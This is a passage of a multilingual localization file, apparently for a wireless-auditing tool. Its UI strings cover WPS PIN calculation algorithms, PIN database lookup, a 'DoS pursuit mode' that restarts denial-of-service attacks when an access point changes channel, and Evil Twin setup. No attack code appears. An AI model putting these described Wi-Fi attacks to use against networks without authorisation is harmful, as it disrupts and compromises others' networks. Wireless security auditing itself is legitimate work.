arr["FRENCH",495]="Menu de génération de PIN offline" arr["CATALAN",495]="Menú de generació offline de PINs" arr["PORTUGUESE",495]="Menu de geração offline de PINs" arr["RUSSIAN",495]="Меню создания PIN-кода" arr["GREEK",495]="Μενού offline δημιουργίας PIN" arr["ITALIAN",495]="Menu di generazione offline dei PIN" arr["POLISH",495]="Menu generowania PIN offline" arr["GERMAN",495]="Menü zur Offline-Generierung von PINs" arr["TURKISH",495]="Çevrimdışı PIN oluşturma menüsü" arr["ARABIC",495]="بدون اتصال PIN قائمة إنشاء" arr["CHINESE",495]="离线 PIN 生成菜单" arr["ENGLISH",496]="5. Search in PIN database" arr["SPANISH",496]="5. Consultar en la base de datos de PINs" arr["FRENCH",496]="5. Chercher dans la base de données PIN" arr["CATALAN",496]="5. Consultar a la base de dades de PINs" arr["PORTUGUESE",496]="5. Verificar PINs no banco de dados" arr["RUSSIAN",496]="5. Поиск в базе данных PIN-кода" arr["GREEK",496]="5. Αναζήτηση στη βάση δεδομένων PIN" arr["ITALIAN",496]="5. Controllare il database dei PIN" arr["POLISH",496]="5. Sprawdź bazę danych PIN" arr["GERMAN",496]="5. Suchen Sie in der PIN-Datenbank" arr["TURKISH",496]="5. PIN veritabanında ara" arr["ARABIC",496]="5. PIN البحث في قاعدة بيانات" arr["CHINESE",496]="5. 在 PIN 数据库中搜索" arr["ENGLISH",497]="0. Return to WPS attacks menu" arr["SPANISH",497]="0. Volver al menú de ataques WPS" arr["FRENCH",497]="0. Retour au menu d'attaques WPS" arr["CATALAN",497]="0. Tornar al menú d'atacs WPS" arr["PORTUGUESE",497]="0. Voltar ao menu de ataques WPS" arr["RUSSIAN",497]="0. Вернуться в меню атак WPS" arr["GREEK",497]="0. Επιστροφή στο μενού επιθέσεων WPS" arr["ITALIAN",497]="0. Tornare al menú attacchi WPS" arr["POLISH",497]="0. Wróć do menu Atak WPS" arr["GERMAN",497]="0. Zum WPS-Angriffsmenü zurückkehren" arr["TURKISH",497]="0. WPS saldırıları menüsüne dön" arr["ARABIC",497]="0. WPS ارجع إلى قائمة هجمات" arr["CHINESE",497]="0. 返回 WPS 攻击菜单" arr["ENGLISH",498]="choose database or algorithm" arr["SPANISH",498]="escoge base de datos o algoritmo" arr["FRENCH",498]="choisissez la base de données ou l'algorithme" arr["CATALAN",498]="tria base de dades o algoritme" arr["PORTUGUESE",498]="escolha um algoritmo ou o banco de dados" arr["RUSSIAN",498]="выбрать базу данных или алгоритм" arr["GREEK",498]="επιλέξτε βάση δεδομένων ή αλγόριθμο" arr["ITALIAN",498]="scegliere database o algoritmo" arr["POLISH",498]="wybierz bazę danych lub algorytm" arr["GERMAN",498]="Wählen Sie eine Datenbank oder einen Algorithmus" arr["TURKISH",498]="veritabanı veya algoritma seç" arr["ARABIC",498]="اختيار قاعدة البيانات أو خوارزمية" arr["CHINESE",498]="请选择数据库或算法" arr["ENGLISH",499]="Showing matches in the PIN database..." arr["SPANISH",499]="Mostrando coincidencias de la base de datos de PINs..." arr["FRENCH",499]="Afficher les résultats de la base de données PIN..." arr["CATALAN",499]="Mostrant coincidències de la base de dades de PINs..." arr["PORTUGUESE",499]="Mostrando correspondências de PINs do banco de dados..." arr["RUSSIAN",499]="Отображение совпадений в базе данных PIN-кода..." arr["GREEK",499]="Εμφάνιση αντιστοιχιών στη βάση δεδομένων PIN..." arr["ITALIAN",499]="Mostrando le corrispondenze del database dei PIN..." arr["POLISH",499]="Wyświetlanie dopasowań z bazy danych PIN..." arr["GERMAN",499]="Übereinstimmungen der PIN-Datenbank werden angezeigt..." arr["TURKISH",499]="PIN veritabanında eşleşme gösteriliyor..." arr["ARABIC",499]="...PIN إظهارالتطابقات في قاعدة بيانات" arr["CHINESE",499]="显示 PIN 数据库中的匹配项..." arr["ENGLISH",500]="Showing calculated PIN using ComputePIN algorithm..." arr["SPANISH",500]="Mostrando PIN calculado con el algoritmo ComputePIN..." arr["FRENCH",500]="Affichage du PIN calculé avec l'algorithme ComputePIN..." arr["CATALAN",500]="Mostrant PIN calculat amb l'algoritme ComputePIN..." arr["PORTUGUESE",500]="Mostrando o PIN calculado usando o algoritmo ComputePIN..." arr["RUSSIAN",500]="Отображение PIN-кода, рассчитанного с использованием алгоритма ComputePIN..." arr["GREEK",500]="Εμφανίζεται το PIN που έχει υπολογιστεί χρησιμοποιώντας τον αλγόριθμο ComputePIN..." arr["ITALIAN",500]="Mostrando il PIN calcolato utilizzando l'algoritmo ComputePIN..." arr["POLISH",500]="Wyświetlanie kodu PIN obliczonego przy użyciu algorytmu ComputePIN..." arr["GERMAN",500]="Berechnete PIN mit dem ComputePIN-Algorithmus anzeigen..." arr["TURKISH",500]="ComputePIN algoritması kullanılarak hesaplanan PIN gösteriliyor..." arr["ARABIC",500]="...ComputePIN إظهاررقم التعريف الشخصي المحسوب باستخدام خوارزمية" arr["CHINESE",500]="显示使用 ComputePIN 算法计算的 PIN..." arr["ENGLISH",501]="Showing calculated PIN using EasyBox algorithm..." arr["SPANISH",501]="Mostrando PIN calculado con el algoritmo EasyBox..." arr["FRENCH",501]="Affichage du PIN calculé avec l'algorithme EasyBox..." arr["CATALAN",501]="Mostrant PIN calculat amb l'algoritme EasyBox..." arr["PORTUGUESE",501]="Mostrando o PIN calculado usando o algoritmo EasyBox..." arr["RUSSIAN",501]="Отображение PIN-кода, рассчитанного с использованием алгоритма EasyBox..." arr["GREEK",501]="Εμφανίζεται το PIN που έχει υπολογιστεί χρησιμοποιώντας τον αλγόριθμο EasyBox..." arr["ITALIAN",501]="Mostrando il PIN calcolato utilizzando l'algoritmo EasyBox..." arr["POLISH",501]="Wyświetlanie kodu PIN przy użyciu algorytmu EasyBox..." arr["GERMAN",501]="Angezeigte PIN wird mit dem EasyBox-Algorithmus berechnet..." arr["TURKISH",501]="EasyBox algoritması kullanılarak hesaplanan PIN gösteriliyor..." arr["ARABIC",501]="...EasyBox إظهاررقم التعريف الشخصي المحسوب باستخدام خوارزمية" arr["CHINESE",501]="显示使用 EasyBox 算法计算的 PIN..." arr["ENGLISH",502]="Showing calculated PIN using Arcadyan algorithm..." arr["SPANISH",502]="Mostrando PIN calculado con el algoritmo Arcadyan..." arr["FRENCH",502]="Affichage du PIN calculé avec de l'algorithme Arcadyan..." arr["CATALAN",502]="Mostrant PIN calculat amb l'algoritme Arcadyan..." arr["PORTUGUESE",502]="Mostrando o PIN calculado usando o algoritmo Arcadyan..." arr["RUSSIAN",502]="Отображение PIN-кода, рассчитанного с использованием алгоритма Arcadyan..." arr["GREEK",502]="Εμφανίζεται το PIN που έχει υπολογιστεί χρησιμοποιώντας τον αλγόριθμο Arcadyan..." arr["ITALIAN",502]="Mostrando il PIN calcolato utilizzando l'algoritmo Arcadyan..." arr["POLISH",502]="Wyświetlanie kodu PIN obliczonego przy użyciu algorytmu Arcadyan..." arr["GERMAN",502]="Berechnete PIN mit Arcadyan-Algorithmus anzeigen..." arr["TURKISH",502]="Arcadyan algoritması kullanılarak hesaplanan PIN gösteriliyor..." arr["ARABIC",502]="...Arcadyan إظهاررقم التعريف الشخصي المحسوب باستخدام خوارزمية" arr["CHINESE",502]="显示使用 Arcadyan 算法计算的 PIN..." arr["ENGLISH",503]="It's not necessary to perform the scan again to calculate the Arcadyan algorithm PIN. This has already been done in this session" arr["SPANISH",503]="No es necesario realizar de nuevo el escaneo para calcular el PIN del algoritmo Arcadyan. Ya se realizó anteriormente en esta sesión" arr["FRENCH",503]="Il n'est pas nécessaire d'effectuer de nouveau un scan pour calculer le PIN de l'algorithme Arcadyan. Déjà fait dans cette session" arr["CATALAN",503]="No cal realitzar de nou l'escaneig per calcular el PIN de l'algoritme Arcadyan. Ja es va realitzar anteriorment en aquesta sessió" arr["PORTUGUESE",503]="Não é necessário executar uma verificação novamente para calcular o PIN com algoritmo Arcadyan. Isso já foi feito nesta sessão" arr["RUSSIAN",503]="Нет необходимости снова выполнять сканирование, чтобы вычислить PIN-код алгоритмом Arcadyan. Это уже сделано ранее в ходе этой сессии" arr["GREEK",503]="Δεν είναι απαραίτητο να εκτελέσετε ξανά το scan για να υπολογίσετε το PIN χρησιμοποιώντας τον Arcadyan αλγόριθμο. Έχει ήδη πραγματοποιηθεί σε αυτή τη συνεδρία" arr["ITALIAN",503]="Non è necessario eseguire nuovamente la scansione per calcolare il PIN dell'algoritmo Arcadyan. È già stato fatto in precedenza in questa sessione" arr["POLISH",503]="Nie jest konieczne przeprowadzanie skanowania aby obliczyć PIN algorytmem Arcadyan. Już zrobiliśmy je wcześniej w tej sesji" arr["GERMAN",503]="Es ist nicht erforderlich, den Scan erneut durchzuführen, um die Arcadyan-Algorithmus-PIN zu berechnen. Es wurde zuvor in dieser Sitzung gemacht" arr["TURKISH",503]="Arcadyan algoritma PIN'ini hesaplamak için taramayı tekrar yapmak gerekli değildir. Bu zaten bu oturumda yapıldı" arr["ARABIC",503]="ليس من الضروري إجراء الفحص مرة أخرى لحساب PIN لخوارزمية Arcadyan. وقد تم بالفعل القيام بذلك في هذه الدورة" arr["CHINESE",503]="无需再次执行扫描即可计算 Arcadyan 算法 PIN。已经在本次会话中完成" arr["ENGLISH",504]="\${blue_color}This PIN calculation process is not entirely offline. A complete \"probe\" response is required from the target access point to obtain a necessary data. \${green_color}Do you want to continue? \${normal_color}\${visual_choice}" arr["SPANISH",504]="\${blue_color}Este proceso de cálculo de PIN no es puramente offline. Hace falta una respuesta \"probe\" completa del punto de acceso objetivo para obtener un dato necesario. \${green_color}¿Deseas continuar? \${normal_color}\${visual_choice}" arr["FRENCH",504]="\${blue_color}Ce processus de calcul du PIN n'est pas entièrement offline. Une réponse \"probe\" complète est requise part le point d'accès ciblés pour obtenir les données nécessaires. \${green_color}Voulez-vous continuer? \${normal_color}\${visual_choice}" arr["CATALAN",504]="\${blue_color}Aquest procés de càlcul de PIN no és purament offline. Cal una resposta \"probe\" completa del punt d'accés objectiu per obtenir una dada necessaria. \${green_color}¿Vols continuar? \${normal_color}\${visual_choice}" arr["PORTUGUESE",504]="\${blue_color}Este processo de cálculo do PIN não é totalmente offline. É necessária uma resposta de \"probe\" completa do ponto de acesso alvo para obter os dados necessários. \${green_color}Você deseja continuar? \${normal_color}\${visual_choice}" arr["RUSSIAN",504]="\${blue_color}Этот процесс расчета PIN-кода не является чисто офлайн. От целевой точки доступа требуется полный запрос \"probe\" для получения необходимых данных. \${green_color}Вы хотите продолжить? \${normal_color}\${visual_choice}" arr["GREEK",504]="\${blue_color}Αυτή η διαδικασία υπολογισμού PIN δεν είναι καθ' αυτοὺ offline. Απαιτείται ένα ολοκληρωμένο \"probe\" response από το σημείο πρόσβασης για να ληφθούν τα απαραίτητα δεδομένα. \${green_color}Θέλετε να συνεχίσετε; \${normal_color}\${visual_choice}" arr["ITALIAN",504]="\${blue_color}Questo processo di calcolo del PIN non è puramente offline. É richiesta una risposta completa \"probe\" dal punto di accesso obiettivo per ottenere i dati necessari. \${green_color}Vuoi continuare? \${normal_color}\${visual_choice}" arr["POLISH",504]="\${blue_color}Ten proces obliczania kodu PIN nie jest wyłącznie offline. Wymagana jest pełna odpowiedź \"probe\" z docelowego punktu dostępu, aby uzyskać niezbędne dane. \${green_color}Czy chcesz kontynuować? \${normal_color}\${visual_choice}" arr["GERMAN",504]="\${blue_color}Dieser PIN-Berechnungsprozess ist nicht rein offline. Eine vollständige \"probe\"-Antwort vom Zielzugriffspunkt wird benötigt, um die erforderlichen Daten zu erhalten. \${green_color} Möchten Sie fortfahren? \${normal_color}\${visual_choice}" arr["TURKISH",504]="\${blue_color}Bu PIN hesaplama işlemi tamamen çevrimdışı değildir. Gerekli bir veri elde etmek için hedef erişim noktasından eksiksiz bir \"probe\" yanıtı gerekir. \${green_color}Devam etmek istiyor musunuz? \${normal_color}\${visual_choice}" arr["ARABIC",504]="\${normal_color}\${visual_choice}\${green_color} هل تريد المتابعة؟\${blue_color} .كاملة من نقطة الوصول المستهدفة للحصول على البيانات الضرورية \"probe\" هذه ليست غيرمتصلة بالإنترنت بالكامل. مطلوب استجابة PIN عملية حساب رقم التعريف الشخصي\${normal_color}" arr["CHINESE",504]="\${blue_color}这个PIN计算过程并不完全是离线的。目标接入点需要一个完整的“探测”响应来获取必要的数据。\${green_color}你想继续吗?\${normal_color}\${visual_choice}" arr["ENGLISH",505]="Do you want to enable \"DoS pursuit mode\"? \${blue_color}This will re-launch the attack if target AP change its channel countering \"channel hopping\" \${normal_color}\${visual_choice}" arr["SPANISH",505]="¿Deseas activar el \"modo persecución DoS\"? \${blue_color}Esto relanzará el ataque si el AP objetivo cambia de canal contrarrestando el \"channel hopping\" \${normal_color}\${visual_choice}" arr["FRENCH",505]="Voulez-vous activer le \"mode de poursuite DoS\"? \${blue_color}Cela relancera l'attaque si le AP cible change de canal en contrecarrant le \"channel hopping\" \${normal_color}\${visual_choice}" arr["CATALAN",505]="¿Vols activar el \"mode persecució DoS\"? \${blue_color}Això rellançarà l'atac si l'AP objectiu canvia de canal contrarestant el \"channel hopping\" \${normal_color}\${visual_choice}" arr["PORTUGUESE",505]="Você deseja ativar o \"modo de perseguição\"? \${blue_color}Isso irá iniciar o ataque novamente se o alvo mudar de canal, evitando o \"channel hopping\" \${normal_color}\${visual_choice}" arr["RUSSIAN",505]="Вы хотите включить \"режим преследования DoS\"? \${blue_color}Это мера противодействия \"channel hopping\" (автоматической смены канала ТД); атака будет перезапущена, если ТД изменит свой канал \${normal_color}\${visual_choice}" arr["GREEK",505]="Θέλετε να ενεργοποιήσετε to \"DoS pursuit mode\"; \${blue_color}Αυτό θα ξεκινήσει πάλι την επίθεση, εάν το σημείο πρόσβασης αλλάξει το κανάλι του \"channel hopping\" \${normal_color}\${visual_choice}" arr["ITALIAN",505]="Vuoi attivare la modalità \"DoS pursuit mode\"? \${blue_color}Questo riprenderà l'attacco se l'AP obiettivo cambia i canali contrastando il \"channel hopping\" \${normal_color}\${visual_choice}" arr["POLISH",505]="Czy chcesz uaktywnić \"tryb DoS pursuit\"? \${blue_color}To spowoduje ponowne uruchomienie ataku, jeśli docelowy punkt dostępu AP zmieni kanały \"channel hopping\" \${normal_color}\${visual_choice}" arr["GERMAN",505]="Möchten Sie den \"DoS pursuit mode\" aktivieren? \${blue_color}Dadurch wird der Angriff erneut gestartet, wenn der Ziel-AP den Kanal ändert, indem er dem \"channel hopping\" entgegenwirkt \${normal_color}\${visual_choice}" arr["TURKISH",505]="\"DoS pursuit mode\" özelliğini etkinleştirmek ister misiniz? \${blue_color}Bu, hedef AP'nin kanal sayma \"channel hopping\" \${normal_color}\${visual_choice} \${blue_color}kanalını değiştirmesi durumunda saldırıyı yeniden başlatır" arr["ARABIC",505]="\${normal_color}\${visual_choice}\${blue_color} \"channel hopping\" الهدف مواجها القناة AP سيؤدي هذا إلى إطلاق الهجوم مرة أخرى إذا غيّر \${green_color}؟\"DoS pursuit mode\"هل تريد تفعيل وضع\${normal_color}" arr["CHINESE",505]="您要启用“信道追踪模式”吗?\${blue_color}如果目标 AP 改变其工作信道,脚本也会自动追踪并重新发起攻击 \${normal_color}\${visual_choice}" arr["ENGLISH",506]="DoS attack with the \"DoS pursuit mode\" enabled will start when you press [Enter] on this window. To stop it you must press [Ctrl+C] or close attack window" arr["SPANISH",506]="El ataque DoS con el \"modo persecución DoS\" activado comenzará cuando pulse [Enter] en esta ventana. Para detenerlo deberá pulsar [Ctrl+C] o cerrar la ventana del ataque" arr["FRENCH",506]="L'attaque DoS avec le \"mode de poursuite DoS\" activation démarrera lorsque vous appuyez sur [Enter] dans cette fenêtre. Pour l'arrêter, vous devez appuyer sur [Ctrl+C] ou fermer la fenêtre d'attaque" arr["CATALAN",506]="L'atac DoS amb el \"mode persecució DoS\" activat començarà quan premeu [Enter] en aquesta finestra. Per aturar-lo haurà de prémer [Ctrl+C] o tancar la finestra de l'atac" arr["PORTUGUESE",506]="O ataque DoS com o \"modo de perseguição\" foi ativo e será iniciado quando você pressionar [Enter] nesta janela. Para parar, você deve pressionar [Ctrl+C] ou fechar a janela do ataque" arr["RUSSIAN",506]="DoS-атака с включенным \"режимом DoS преследования\" будет запущена когда вы в этом окне нажмёте [Enter]. Для её остановки нажмите [Ctrl+C] или закройте окно атаки" arr["GREEK",506]="Η επίθεση DoS με το \"DoS pursuit mode\" ενεργοποιημένο θα ξεκινήσει όταν πατήσετε [Enter] σε αυτό το παράθυρο. Για να το σταματήσετε πρέπει να πατήσετε [Ctrl+C] ή να κλείσετε το παράθυρο" arr["ITALIAN",506]="L'attacco DoS con la modalità \"DoS pursuit mode\" attivata inizierá quando si preme [Enter] in questa finestra. Per fermarlo bisogna premere [Ctrl+C] o chiudere la finestra di attacco" arr["POLISH",506]="Atak DoS z uruchomionym trybem \"DoS pursuit\" zostanie uruchomiony po naciśnięciu przycisku [Enter] w tym oknie. Aby go zatrzymać, musisz nacisnąć [Ctrl+C] lub zamknąć okno ataku" arr["GERMAN",506]="Der DoS-Angriff mit aktiviertem \"DoS pursuit mode\" wird gestartet, wenn Sie in diesen Fenster [Enter] drücken. Um es zu stoppen, müssen Sie [Ctrl+C] drücken oder das Angriffsfenster schließen" arr["TURKISH",506]="Bu pencerede [Enter] 'a bastığınızda, \"DoS takip modu\" etkin olan DoS saldırısı başlayacaktır. Durdurmak için [Ctrl+C] tuşuna basmalı veya saldırı penceresini kapatmalısınız" arr["ARABIC",506]="أو إغلاق نافذة الهجوم [Ctrl+C] في هذه النافذة. لإيقافه يجب الضغط على [Enter] عندما تضغط على \"DoS pursuit mode\" مع تفعيل وضع DoS سيبدأ هجوم" arr["CHINESE",506]="当您在此窗口中按下 [Enter] 时,启用“信道追踪模式”的 DoS 攻击将开始。要停止它,您必须按 [Ctrl+C] 或关闭攻击窗口" arr["ENGLISH",507]="Channel change detected. Reconfiguring attack (AP and DoS) as part of \"DoS pursuit mode\". Now on channel \${normal_color}\${channel}" arr["SPANISH",507]="Cambio de canal detectado. Reconfigurando ataque (AP y DoS) como parte del \"modo persecución DoS\". Ahora en el canal \${normal_color}\${channel}" arr["FRENCH",507]="Changement de canal détecté. Reconfiguration de l'attaque (AP et DoS) dans le cadre du \"mode de poursuite DoS\". Maintenant sur le canal \${normal_color}\${channel}" arr["CATALAN",507]="S'ha detectat un canvi de canal. S'està reconfigurant l'atac (AP i DoS) com a part del \"Mode de persecució DoS\". Ara al canal \${normal_color}\${channel}" arr["PORTUGUESE",507]="Mudança de canal detectada. Reconfigurando o ataque (AP e DoS) no \"modo de perseguição\". Agora no canal \${normal_color}\${channel}" arr["RUSSIAN",507]="Обнаружено изменение канала. Реконфигурация атаки (AP и DoS) \"режимом DoS преследования\". Сейчас на канале \${normal_color}\${channel}" arr["GREEK",507]="Εντοπίστηκε αλλαγή καναλιού. Επαναδιαμόρφωση επίθεσης (AP και DoS) ως μέρος της \"DoS pursuit mode\". Τώρα στο κανάλι \${normal_color}\${channel}" arr["ITALIAN",507]="Cambio di canale rilevato. Riconfigurando l'attacco (AP e DoS) come parte della \"DoS pursuit mode\". Ora sul canale \${normal_color}\${channel}" arr["POLISH",507]="Wykryto zmianę kanału. Rekonfiguracja ataku (AP i DoS) w ramach \"DoS pursuit\". Teraz na kanale \${normal_color}\${channel}" arr["GERMAN",507]="Kanalwechsel erkannt. Angriff (AP und DoS) als Teil des \"DoS pursuit mode\" rekonfiguriert. Jetzt auf Kanal \${normal_color}\${channel}" arr["TURKISH",507]="Kanal değişikliği algılandı. Saldırı (AP ve DoS) \"DoS takip modu\"nun bir parçası olarak yeniden şekillendiriliyor. Şimdi \${normal_color}\${channel} kanalında" arr["ARABIC",507]="\${normal_color}\${channel} \${yellow_color}انت الان علي القناة .\"DoS pursuit mode\" كجزء من (AP , DoS) تم اكتشاف تغير في القناة, وسيتم اعادة تكويت الهجوم \${normal_color}" arr["CHINESE",507]="检测到信道更改。已将攻击 (AP 和 DoS) 重新配置为“DoS 追踪模式”。当前信道 \${normal_color}\${channel}" arr["ENGLISH",508]="\"DoS pursuit mode\" can be unstable for this kind of DoS attack. If you are not obtaining an optimal result just select another kind of attack" arr["SPANISH",508]="El \"modo persecución DoS\" puede ser inestable para este tipo de ataque DoS. Si el resultado no es óptimo selecciona otro tipo de ataque" arr["FRENCH",508]="Le \"mode de poursuite DoS\" peut être instable pour ce type d'attaque DoS. Si le résultat n'est pas optimal, sélectionnez un autre type d'attaque" arr["CATALAN",508]="El \"mode persecució DoS\" pot ser inestable per a aquest tipus d'atac DoS. Si el resultat no és òptim selecciona un altre tipus d'atac" arr["PORTUGUESE",508]="O ataque DoS com o \"modo de perseguição\" pode ser instável. Se o resultado não for bom, selecione outro tipo de ataque" arr["RUSSIAN",508]="\"Режим DoS преследования\" может быть нестабильной для такой DoS-атаки. Если вы не получаете приемлемого результата, просто выберите другой тип атаки" arr["GREEK",508]="Το \"DoS pursuit mode\" μπορεί να είναι ασταθής για αυτό το είδος επίθεσης DoS. Εάν δεν δείτε σωστό αποτέλεσμα, επιλέξτε κάποιο άλλο είδος επίθεσης" arr["ITALIAN",508]="La modalitá \"DoS pursuit mode\" può essere instabile per questo tipo di attacco DoS. Se il risultato non è ottimale selezionare un altro tipo di attacco" arr["POLISH",508]="\"tryb DoS pursuit\" może być niestabilny dla tego typu ataków DoS. Jeśli wynik nie jest optymalny, wybierz inny rodzaj ataku" arr["GERMAN",508]="Der \"DoS pursuit mode\" kann für diese Art von DoS-Angriff instabil sein. Wenn das Ergebnis nicht optimal ist, wählen Sie eine andere Art von Angriff aus" arr["TURKISH",508]="\"DoS takip modu\" bu tür DoS saldırısı için kararsız olabilir. Optimal bir sonuç elde edemiyorsanız, başka bir saldırı seçin" arr["ARABIC",508]="إذا لم تحصل على نتيجة مثالية ، فما عليك سوى اختيار نوع هجوم آخر .DoS يمكن أن يكون غير مستقر لهذا النوع من هجمات \"DoS pursuit mode\" وضع" arr["CHINESE",508]="\"DoS 追踪模式\" 对于这种 DoS 攻击可能是不稳定的。如果您没有获得最佳结果,只需选择另一种攻击" arr["ENGLISH",509]="If you want to integrate \"DoS pursuit mode\" on an Evil Twin attack, another additional wifi interface in monitor mode will be needed to be able to perform it" arr["SPANISH",509]="Si se quiere integrar el \"modo persecución DoS\" en un ataque Evil Twin, será necesario tener otro interfaz wifi adicional en modo monitor para llevarlo a cabo" arr["FRENCH",509]="Si vous souhaitez intégrer le \"mode de poursuite DoS\" dans une attaque Evil Twin, il sera nécessaire d'avoir une autre interface wifi supplémentaire en mode moniteur pour l'effectuer" arr["CATALAN",509]="Si es vol integrar el \"mode persecució DoS\" en un atac Evil Twin, serà necessari tenir una altra interfície wifi addicional en mode monitor per fer-ho" arr["PORTUGUESE",509]="Se você quiser integrar o ataque DoS com o \"modo de perseguição\" em um ataque Evil Twin, será necessário ter uma interface wifi adicional no modo monitor" arr["RUSSIAN",509]="Если вы хотите интегрировать \"режим DoS преследования\" на атаку Evil Twin, то для выполнения этого потребуется еще один дополнительный интерфейс wifi в режиме монитора" arr["GREEK",509]="Εάν θέλετε να ενσωματώσετε το \"DoS pursuit mode\" σε μια επίθεση Evil Twin, θα χρειαστεί μια επιπλέον διεπαφή wifi σε κατάσταση παρακολούθησης για να εκτελεστεί σωστά" arr["ITALIAN",509]="Se si desidera integrare la modalitá \"DoS pursuit mode\" in un attacco Evil Twin, sarà necessario disporre di un'altra interfaccia wifi aggiuntiva in modalità monitor" arr["POLISH",509]="Jeśli chcesz zintegrować \"tryb DoS pursuit\" w ataku Evil Twin, konieczne będzie posiadanie innego dodatkowego interfejsu wifi w trybie monitorowania" arr["GERMAN",509]="Wenn Sie den \"DoS pursuit mode\" in einen Evil-Twin-Angriff integrieren wollen, müssen Sie im monitor-Modus noch eine zusätzliche WLAN-Interface zur Verfügung haben, um es auszuführen" arr["TURKISH",509]="Bir Şeytani İkiz saldırısında \"DoS takip modu\" nu entegre etmek isterseniz, bunu gerçekleştirmek için monitör modunda başka bir ek wifi arabirimine ihtiyaç duyulacaktır" arr["ARABIC",509]="لتتمكن من تنفيذها monitor mode إضافية في وضع wifi فستكون هناك حاجة إلى واجهة ،Evil Twin في هجوم \"DoS pursuit mode\" إذا كنت ترغب في دمج وضع" arr["CHINESE",509]="如果你想在邪恶双胞胎攻击上使用“DoS 追踪模式”,则需要另一个额外的监控模式的 wifi 接口才能执行它" arr["ENGLISH",510]="On this screen, it's supposed an additional wifi interface is chosen, but you don't have anyone at this moment" arr["SPANISH",510]="En esta pantalla, se supone que deberías elegir otro interfaz wifi adicional, pero no dispones de ninguno en este momento" arr["FRENCH",510]="Sur cet écran, vous pourriez choisir une interface wifi supplémentaire, mais vous n'en avez pas d'autre en ce moment" arr["CATALAN",510]="En aquesta pantalla, se suposa que hauries de triar un altre interfície wifi addicional, però no disposes de cap en aquest moment" arr["PORTUGUESE",510]="Nesta tela você deveria escolher uma interface wifi adicional, mas você não tem nenhuma neste momento" arr["RUSSIAN",510]="На этом экране предполагается, что будет выбран дополнительный интерфейс wifi, но в данный момент у вас нет других беспроводных интерфейсов" arr["GREEK",510]="Σε αυτήν την οθόνη, υποτίθεται ότι έχει επιλεγεί μια πρόσθετη διεπαφή wifi, αλλά δεν έχετε επιλέξει κάποια αυτήν τη στιγμή" arr["ITALIAN",510]="In questa schermata, dovresti scegliere un'altra interfaccia wifi addizionale, ma in questo momento non ne hai nessuna" arr["POLISH",510]="Na tym ekranie należy wybrać inny dodatkowy interfejs wifi, ale nie masz go w tym momencie" arr["GERMAN",510]="Auf diesem Bildschirm sollten Sie ein anderes zusätzliches WIFI-Interface auswählen, aber Sie haben keins zu diesem Zeitpunkt" arr["TURKISH",510]="Bu ekranda, ek bir wifi arayüzü seçildi, ancak şu anda hiç kimsenin yok" arr["ARABIC",510]="على هذه الشاشة ، من المفترض أن يتم اختيار واجهة wifi إضافية ، لكن ليس لديك أي واجهة في هذه اللحظة" arr["CHINESE",510]="在这个窗口中,应该选择一个额外的 wifi 接口,但此时还没有任何东西" arr["ENGLISH",511]="Select another wireless interface:" arr["SPANISH",511]="Selecciona otra interfaz inalámbrica:" arr["FRENCH",511]="Sélectionnez une autre interface sans fil:" arr["CATALAN",511]="Selecciona un altra interfície sense fils:" arr["PORTUGUESE",511]="Selecione outra interface sem fio:" arr["RUSSIAN",511]="Выберите дополнительный беспроводной интерфейс:" arr["GREEK",511]="Επιλέξτε άλλη μία ασύρματη διεπαφή:" arr["ITALIAN",511]="Seleziona un'altra interfaccia wireless:" arr["POLISH",511]="Wybierz inny interfejs bezprzewodowy:" arr["GERMAN",511]="Wählen Sie ein anderes drahtloses Interface:" arr["TURKISH",511]="Başka bir kablosuz arayüz seçin:" arr["ARABIC",511]=":اختيار واجهة لاسلكية أخرى" arr["CHINESE",511]="请选择另一个无线接口:" arr["ENGLISH",512]="Secondary interface: \${pink_color}\${secondary_wifi_interface}\${normal_color}" arr["SPANISH",512]="Interfaz secundaria: \${pink_color}\${secondary_wifi_interface}\${normal_color}" arr["FRENCH",512]="Interface secondaire : \${pink_color}\${secondary_wifi_interface}\${normal_color}" arr["CATALAN",512]="Interfície secundària: \${pink_color}\${secondary_wifi_interface}\${normal_color}" arr["PORTUGUESE",512]="Interface secundária: \${pink_color}\${secondary_wifi_interface}\${normal_color}" arr["RUSSIAN",512]="Вторичный интерфейс: \${pink_color}\${secondary_wifi_interface}\${normal_color}" arr["GREEK",512]="Δευτερεύουσα διεπαφή: \${pink_color}\${secondary_wifi_interface}\${normal_color}" arr["ITALIAN",512]="Interfaccia secondaria: \${pink_color}\${secondary_wifi_interface}\${normal_color}" arr["POLISH",512]="Interfejs pomocniczy: \${pink_color}\${secondary_wifi_interface}\${normal_color}" arr["GERMAN",512]="Sekundäre Schnittstelle: \${pink_color}\${secondary_wifi_interface}\${normal_color}" arr["TURKISH",512]="İkincil arayüz: \${pink_color}\${secondary_wifi_interface}\${normal_color}" arr["ARABIC",512]="\${pink_color}\${secondary_wifi_interface}\${blue_color} :الواجهة الثانية\${normal_color}" arr["CHINESE",512]="次要接口:\${pink_color}\${secondary_wifi_interface}\${normal_color}" arr["ENGLISH",513]="Interface will be tried to be changed to monitor mode automatically" arr["SPANISH",513]="Se intentará cambiar la interfaz a modo monitor automáticamente" arr["FRENCH",513]="l'interface va essayer de changer en mode monitor automatiquement" arr["CATALAN",513]="S'intentarà canviar la interfície a mode monitor automàticament" arr["PORTUGUESE",513]="O script tentará mudar a interface para o modo monitor automaticamente" arr["RUSSIAN",513]="Будет сделана автоматическая попытка перевести интерфейс в режим монитора" arr["GREEK",513]="Γίνεται απόπειρα αλλαγής κατάστασης διεπαφής σε κατάσταση παρακολούθησης" arr["ITALIAN",513]="Si cercherà di cambiare automaticamente l'interfaccia alla modalità monitor" arr["POLISH",513]="Spowoduje to automatyczną zmianę interfejsu w tryb monitorowania" arr["GERMAN",513]="Es wird versucht, das Interface automatisch in den Monitor-Modus zu ändern" arr["TURKISH",513]="Arayüz otomatik olarak izleme modunu değiştirmeye çalışılacaktır" arr["ARABIC",513]="تلقائيًا monitor mode ستتم محاولة تغيير الواجهة إلى وضع" arr["CHINESE",513]="接口将尝试自动改为监听模式" arr["ENGLISH",514]="Interface \${pink_color}\${current_iface_on_messages}\${blue_color} selected. Mode: \${pink_color}\${ifacemode}\${blue_color}. Supported bands: \${pink_color}\${interfaces_band_info['main_wifi_interface','text']}\${normal_color}" arr["SPANISH",514]="Interfaz \${pink_color}\${current_iface_on_messages}\${blue_color} seleccionada. Modo: \${pink_color}\${ifacemode}\${blue_color}. Bandas soportadas: \${pink_color}\${interfaces_band_info['main_wifi_interface','text']}\${normal_color}" arr["FRENCH",514]="L'interface \${pink_color}\${current_iface_on_messages}\${blue_color} sélectionnée. Mode: \${pink_color}\${ifacemode}\${blue_color}. Bandes supportées: 